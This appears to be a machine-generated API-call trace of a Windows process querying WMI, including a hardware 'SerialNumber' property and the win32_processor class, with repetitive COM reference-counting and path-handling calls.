	[0124.300] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddcf4 | out: ppvObject=0x2ddcf4*=0x757924) returned 0x0
	[0124.302] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2ddd24 | out: pAptType=0x2ddd24*=3) returned 0x0
	[0124.302] IUnknown:Release (This=0x757924) returned 0x1
	[0124.302] CoGetContextToken (in: pToken=0x2ddcf4 | out: pToken=0x2ddcf4) returned 0x0
	[0124.305] CoGetContextToken (in: pToken=0x2de0c0 | out: pToken=0x2de0c0) returned 0x0
	[0124.306] LoadRegTypeLib (in: rguid=0x751e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x2de0a8*=0x0 | out: pptlib=0x2de0a8*=0x794998) returned 0x0
	[0124.308] ITypeLib:GetTypeInfoOfGuid (in: This=0x794998, guid=0x751e55e4, ppTInfo=0x50abd40 | out: ppTInfo=0x50abd40*=0x796678) returned 0x0
	[0124.308] IUnknown:Release (This=0x794998) returned 0x6
	[0124.308] IUnknown:AddRef (This=0x796678) returned 0x2
	[0124.308] DispGetIDsOfNames (in: ptinfo=0x796678, rgszNames=0x2de120*="SerialNumber", cNames=0x1, rgdispid=0x2de110 | out: rgdispid=0x2de110*=-1) returned 0x80020006
	[0124.311] IUnknown:AddRef (This=0x50ad8a0) returned 0x3
	[0124.311] IWbemClassObject:Get (in: This=0x50ad8a0, wszName="SerialNumber", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x2de030*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x2de030*=0) returned 0x0
	[0124.311] IUnknown:Release (This=0x50ad8a0) returned 0x2
	[0124.312] SysStringLen (param_1="SerialNumber") returned 0xc
	[0124.312] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0a48
	[0124.312] SysStringLen (param_1="SerialNumber") returned 0xc
	[0124.312] IUnknown:Release (This=0x796678) returned 0x1
	[0124.312] IUnknown:AddRef (This=0x796678) returned 0x2
	[0124.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.312] GetCurrentThreadId () returned 0xa14
	[0124.312] IWbemClassObject:Get (in: This=0x50ad8a0, wszName="SerialNumber", lFlags=0, pVal=0x2ddeb8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ddef0, varVal2=0x751e2d81), pType=0x2ddec8*=1964912006, plFlavor=0x0 | out: pVal=0x2ddeb8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\"BSN12345678901234567\"", varVal2=0x751e2d81), pType=0x2ddec8*=8, plFlavor=0x0) returned 0x0
	[0124.312] IUnknown:Release (This=0x796678) returned 0x1
	[0124.312] SysStringLen (param_1="\"BSN12345678901234567\"") returned 0x16
	[0124.326] CoGetContextToken (in: pToken=0x2de37c | out: pToken=0x2de37c) returned 0x0
	[0124.327] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.327] GetCurrentThreadId () returned 0xa14
	[0124.327] IUnknown:AddRef (This=0x50ad864) returned 0x3
	[0124.327] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.327] GetCurrentThreadId () returned 0xa14
	[0124.327] IEnumWbemClassObject:Next (in: This=0x50ad864, lTimeout=-1, uCount=0x1, apObjects=0x2de4b4, puReturned=0x2de4ac | out: apObjects=0x2de4b4*=0x0, puReturned=0x2de4ac*=0x0) returned 0x1
	[0124.328] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x2de468 | out: pperrinfo=0x2de468*=0x0) returned 0x1
	[0124.328] IUnknown:Release (This=0x50ad864) returned 0x2
	[0124.328] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x2de4ac | out: pperrinfo=0x2de4ac*=0x0) returned 0x1
	[0124.460] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x274
	[0124.460] GetLastError () returned 0x0
	[0124.462] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x27c
	[0124.462] GetLastError () returned 0x0
	[0124.498] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2de4b8*=0x274, lpdwindex=0x2de270 | out: lpdwindex=0x2de270) returned 0x0
	[0124.499] CoGetContextToken (in: pToken=0x2de308 | out: pToken=0x2de308) returned 0x0
	[0124.499] CoGetContextToken (in: pToken=0x2de2c8 | out: pToken=0x2de2c8) returned 0x0
	[0124.499] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de344*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de340 | out: ppvObject=0x2de340*=0x50afcf8) returned 0x0
	[0124.500] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.500] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.500] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b4
	[0124.500] GetLastError () returned 0x0
	[0124.500] SetEvent (hEvent=0x27c) returned 1
	[0124.500] GetLastError () returned 0x0
	[0124.500] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2ddcdc*=0x2b4, lpdwindex=0x2dda94 | out: lpdwindex=0x2dda94) returned 0x0
	[0124.502] CoGetContextToken (in: pToken=0x2ddb2c | out: pToken=0x2ddb2c) returned 0x0
	[0124.502] CoGetContextToken (in: pToken=0x2ddaec | out: pToken=0x2ddaec) returned 0x0
	[0124.502] WbemDefPath:IUnknown:AddRef (This=0x50afd90) returned 0x2
	[0124.502] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x2ddb68*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2ddb64 | out: ppvObject=0x2ddb64*=0x50afd90) returned 0x0
	[0124.502] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x2
	[0124.502] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x1
	[0124.506] CoGetContextToken (in: pToken=0x2ddbac | out: pToken=0x2ddbac) returned 0x0
	[0124.506] CoGetContextToken (in: pToken=0x2ddb6c | out: pToken=0x2ddb6c) returned 0x0
	[0124.506] WbemDefPath:IUnknown:AddRef (This=0x50afd90) returned 0x2
	[0124.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x2ddbe8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2ddbe4 | out: ppvObject=0x2ddbe4*=0x50afd90) returned 0x0
	[0124.506] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x2
	[0124.506] WbemDefPath:IWbemPath:SetText (This=0x50afd90, uMode=0x4, pszPath="//./root/cimv2") returned 0x0
	[0124.506] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x1
	[0124.506] CoGetContextToken (in: pToken=0x2de388 | out: pToken=0x2de388) returned 0x0
	[0124.506] CoGetContextToken (in: pToken=0x2de348 | out: pToken=0x2de348) returned 0x0
	[0124.506] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3c4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3c0 | out: ppvObject=0x2de3c0*=0x50afcf8) returned 0x0
	[0124.507] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.507] WbemDefPath:IWbemPath:SetText (This=0x50afcf8, uMode=0x4, pszPath="win32_processor") returned 0x0
	[0124.507] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.511] CoGetContextToken (in: pToken=0x2de374 | out: pToken=0x2de374) returned 0x0
	[0124.511] CoGetContextToken (in: pToken=0x2de334 | out: pToken=0x2de334) returned 0x0
	[0124.511] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3ac | out: ppvObject=0x2de3ac*=0x50afcf8) returned 0x0
	[0124.511] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50afcf8, puCount=0x2de528 | out: puCount=0x2de528*=0x0) returned 0x0
	[0124.511] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.514] CoGetContextToken (in: pToken=0x2de364 | out: pToken=0x2de364) returned 0x0
	[0124.514] CoGetContextToken (in: pToken=0x2de324 | out: pToken=0x2de324) returned 0x0
	[0124.514] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de39c | out: ppvObject=0x2de39c*=0x50afcf8) returned 0x0
	[0124.514] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.514] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de524*=0x0, pszText=0x0 | out: puBuffLength=0x2de524*=0x10, pszText=0x0) returned 0x0
	[0124.514] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.514] CoGetContextToken (in: pToken=0x2de364 | out: pToken=0x2de364) returned 0x0
	[0124.515] CoGetContextToken (in: pToken=0x2de324 | out: pToken=0x2de324) returned 0x0
	[0124.515] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de39c | out: ppvObject=0x2de39c*=0x50afcf8) returned 0x0
	[0124.515] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.515] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de524*=0x10, pszText="000000000000000" | out: puBuffLength=0x2de524*=0x10, pszText="win32_processor") returned 0x0
	[0124.515] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.517] CoGetContextToken (in: pToken=0x2de378 | out: pToken=0x2de378) returned 0x0
	[0124.517] CoGetContextToken (in: pToken=0x2de338 | out: pToken=0x2de338) returned 0x0
	[0124.517] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3b0 | out: ppvObject=0x2de3b0*=0x50afcf8) returned 0x0
	[0124.518] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.518] WbemDefPath:IWbemPath:GetInfo (in: This=0x50afcf8, uRequestedInfo=0x0, puResponse=0x2de52c | out: puResponse=0x2de52c*=0xc15) returned 0x0
	[0124.518] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.518] CoGetContextToken (in: pToken=0x2de374 | out: pToken=0x2de374) returned 0x0
	[0124.518] CoGetContextToken (in: pToken=0x2de334 | out: pToken=0x2de334) returned 0x0
	[0124.518] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3ac | out: ppvObject=0x2de3ac*=0x50afcf8) returned 0x0
	[0124.518] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.518] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50afcf8, puCount=0x2de528 | out: puCount=0x2de528*=0x0) returned 0x0
	[0124.518] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.518] CoGetContextToken (in: pToken=0x2de378 | out: pToken=0x2de378) returned 0x0
	[0124.518] CoGetContextToken (in: pToken=0x2de338 | out: pToken=0x2de338) returned 0x0
	[0124.518] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3b0 | out: ppvObject=0x2de3b0*=0x50afcf8) returned 0x0
	[0124.518] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.518] WbemDefPath:IWbemPath:GetInfo (in: This=0x50afcf8, uRequestedInfo=0x0, puResponse=0x2de52c | out: puResponse=0x2de52c*=0xc15) returned 0x0
	[0124.519] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.519] CoGetContextToken (in: pToken=0x2de368 | out: pToken=0x2de368) returned 0x0
	[0124.519] CoGetContextToken (in: pToken=0x2de328 | out: pToken=0x2de328) returned 0x0
	[0124.519] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3a0 | out: ppvObject=0x2de3a0*=0x50afcf8) returned 0x0
	[0124.519] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.519] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50afcf8, puCount=0x2de51c | out: puCount=0x2de51c*=0x0) returned 0x0
	[0124.519] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.519] CoGetContextToken (in: pToken=0x2de358 | out: pToken=0x2de358) returned 0x0
	[0124.519] CoGetContextToken (in: pToken=0x2de318 | out: pToken=0x2de318) returned 0x0
	[0124.519] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de394*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de390 | out: ppvObject=0x2de390*=0x50afcf8) returned 0x0
	[0124.519] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.519] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de518*=0x0, pszText=0x0 | out: puBuffLength=0x2de518*=0x10, pszText=0x0) returned 0x0
	[0124.519] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.519] CoGetContextToken (in: pToken=0x2de358 | out: pToken=0x2de358) returned 0x0
	[0124.519] CoGetContextToken (in: pToken=0x2de318 | out: pToken=0x2de318) returned 0x0
	[0124.519] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de394*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de390 | out: ppvObject=0x2de390*=0x50afcf8) returned 0x0
	[0124.519] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.520] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de518*=0x10, pszText="000000000000000" | out: puBuffLength=0x2de518*=0x10, pszText="win32_processor") returned 0x0
	[0124.520] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.520] CoGetContextToken (in: pToken=0x2de368 | out: pToken=0x2de368) returned 0x0
	[0124.520] CoGetContextToken (in: pToken=0x2de328 | out: pToken=0x2de328) returned 0x0
	[0124.520] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de3a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3a0 | out: ppvObject=0x2de3a0*=0x50afcf8) returned 0x0
	[0124.520] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50afcf8, puCount=0x2de51c | out: puCount=0x2de51c*=0x0) returned 0x0
	[0124.520] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.520] CoGetContextToken (in: pToken=0x2de358 | out: pToken=0x2de358) returned 0x0
	[0124.520] CoGetContextToken (in: pToken=0x2de318 | out: pToken=0x2de318) returned 0x0
	[0124.520] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de394*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de390 | out: ppvObject=0x2de390*=0x50afcf8) returned 0x0
	[0124.520] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.520] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de518*=0x0, pszText=0x0 | out: puBuffLength=0x2de518*=0x10, pszText=0x0) returned 0x0
	[0124.520] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.520] CoGetContextToken (in: pToken=0x2de358 | out: pToken=0x2de358) returned 0x0
	[0124.520] CoGetContextToken (in: pToken=0x2de318 | out: pToken=0x2de318) returned 0x0
	[0124.520] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de394*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de390 | out: ppvObject=0x2de390*=0x50afcf8) returned 0x0
	[0124.520] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.520] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de518*=0x10, pszText="000000000000000" | out: puBuffLength=0x2de518*=0x10, pszText="win32_processor") returned 0x0
	[0124.520] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.521] CoGetContextToken (in: pToken=0x2de2fc | out: pToken=0x2de2fc) returned 0x0
	[0124.521] CoGetContextToken (in: pToken=0x2de2bc | out: pToken=0x2de2bc) returned 0x0
	[0124.521] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de338*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de334 | out: ppvObject=0x2de334*=0x50afcf8) returned 0x0
	[0124.521] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50afcf8, puCount=0x2de4b0 | out: puCount=0x2de4b0*=0x0) returned 0x0
	[0124.521] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.522] CoGetContextToken (in: pToken=0x2de2e8 | out: pToken=0x2de2e8) returned 0x0
	[0124.522] CoGetContextToken (in: pToken=0x2de2a8 | out: pToken=0x2de2a8) returned 0x0
	[0124.522] WbemDefPath:IUnknown:AddRef (This=0x50afd90) returned 0x2
	[0124.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x2de324*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de320 | out: ppvObject=0x2de320*=0x50afd90) returned 0x0
	[0124.522] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x2
	[0124.522] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50afd90, puCount=0x2de49c | out: puCount=0x2de49c*=0x2) returned 0x0
	[0124.522] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x1
	[0124.522] CoGetContextToken (in: pToken=0x2de2d8 | out: pToken=0x2de2d8) returned 0x0
	[0124.522] CoGetContextToken (in: pToken=0x2de298 | out: pToken=0x2de298) returned 0x0
	[0124.522] WbemDefPath:IUnknown:AddRef (This=0x50afd90) returned 0x2
	[0124.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x2de314*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de310 | out: ppvObject=0x2de310*=0x50afd90) returned 0x0
	[0124.522] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x2
	[0124.523] WbemDefPath:IWbemPath:GetText (in: This=0x50afd90, lFlags=4, puBuffLength=0x2de498*=0x0, pszText=0x0 | out: puBuffLength=0x2de498*=0xf, pszText=0x0) returned 0x0
	[0124.523] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x1
	[0124.523] CoGetContextToken (in: pToken=0x2de2d8 | out: pToken=0x2de2d8) returned 0x0
	[0124.523] CoGetContextToken (in: pToken=0x2de298 | out: pToken=0x2de298) returned 0x0
	[0124.523] WbemDefPath:IUnknown:AddRef (This=0x50afd90) returned 0x2
	[0124.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x2de314*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de310 | out: ppvObject=0x2de310*=0x50afd90) returned 0x0
	[0124.523] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x2
	[0124.523] WbemDefPath:IWbemPath:GetText (in: This=0x50afd90, lFlags=4, puBuffLength=0x2de498*=0xf, pszText="00000000000000" | out: puBuffLength=0x2de498*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0124.523] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x1
	[0124.523] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b8
	[0124.523] GetLastError () returned 0x0
	[0124.523] SetEvent (hEvent=0x27c) returned 1
	[0124.523] GetLastError () returned 0x0
	[0124.523] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2de400*=0x2b8, lpdwindex=0x2de1b8 | out: lpdwindex=0x2de1b8) returned 0x0
	[0124.525] CoGetContextToken (in: pToken=0x2de250 | out: pToken=0x2de250) returned 0x0
	[0124.525] CoGetContextToken (in: pToken=0x2de210 | out: pToken=0x2de210) returned 0x0
	[0124.525] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x2
	[0124.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de28c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de288 | out: ppvObject=0x2de288*=0x50ada88) returned 0x0
	[0124.525] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.525] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x1
	[0124.525] CoGetContextToken (in: pToken=0x2de2d0 | out: pToken=0x2de2d0) returned 0x0
	[0124.526] CoGetContextToken (in: pToken=0x2de290 | out: pToken=0x2de290) returned 0x0
	[0124.526] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x2
	[0124.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de30c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de308 | out: ppvObject=0x2de308*=0x50ada88) returned 0x0
	[0124.526] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.526] WbemDefPath:IWbemPath:SetText (This=0x50ada88, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0
	[0124.526] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x1
	[0124.526] CoGetContextToken (in: pToken=0x2de2c0 | out: pToken=0x2de2c0) returned 0x0
	[0124.526] CoGetContextToken (in: pToken=0x2de280 | out: pToken=0x2de280) returned 0x0
	[0124.526] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x2
	[0124.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de2fc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de2f8 | out: ppvObject=0x2de2f8*=0x50ada88) returned 0x0
	[0124.526] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50ada88, puCount=0x2de474 | out: puCount=0x2de474*=0x2) returned 0x0
	[0124.526] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x1
	[0124.526] CoGetContextToken (in: pToken=0x2de2b0 | out: pToken=0x2de2b0) returned 0x0
	[0124.526] CoGetContextToken (in: pToken=0x2de270 | out: pToken=0x2de270) returned 0x0
	[0124.526] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x2
	[0124.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de2ec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de2e8 | out: ppvObject=0x2de2e8*=0x50ada88) returned 0x0
	[0124.526] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.526] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de470*=0x0, pszText=0x0 | out: puBuffLength=0x2de470*=0xf, pszText=0x0) returned 0x0
	[0124.526] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x1
